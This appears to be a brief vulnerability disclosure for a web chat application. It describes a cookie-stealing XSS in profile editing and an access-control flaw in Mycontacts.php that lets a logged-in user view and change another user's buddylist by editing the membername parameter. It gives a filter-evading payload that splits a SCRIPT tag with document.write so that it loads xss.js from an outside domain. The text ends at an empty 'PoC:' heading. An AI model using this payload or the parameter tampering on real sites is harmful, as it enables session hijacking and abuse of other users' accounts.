XSS vuln with cookie disclosure when editing profile:  
  
To bypass V3 chats filters we can use this XSS example. Credits to RSnake.Script tags wrapped around a document.write function that writes part of our second   
  
script tag.  
  
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://youfucktard.com/xss.js"></SCRIPT>  
  
-------------------------------  
  
Mycontacts.php XSS vulns with user bypass.  
  
It seems after you log in as a user youre able to put in any username in membername= and it will navigate you to their buddylist. From there you can add,   
  
remove, chat with, etc people on their buddylist. etc.  
  
PoC:
